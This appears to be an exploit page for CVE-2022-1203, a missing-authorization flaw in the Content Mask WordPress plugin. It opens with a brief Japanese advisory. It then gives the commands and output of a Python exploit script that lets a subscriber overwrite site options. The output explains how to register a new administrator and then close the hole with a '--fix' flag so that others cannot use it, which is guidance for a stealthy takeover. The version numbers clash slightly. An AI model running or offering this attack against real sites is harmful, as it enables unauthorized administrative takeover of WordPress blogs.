
Content Mask < 1.8.4 - Subscriber+ 任意のオプション更新
Content Mask < 1.8.4 - 購読者+ 任意オプション更新
Content Mask WordPressプラグインの1.8.4.1より前のバージョンには、さまざまなAJAXアクションにおいて認可チェックとCSRFチェックがなく、また、更新されるオプションがプラグインに属していることを検証しません。その結果、購読者などの認証済みユーザーがブログの任意のオプションを変更できる可能性があります。
$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register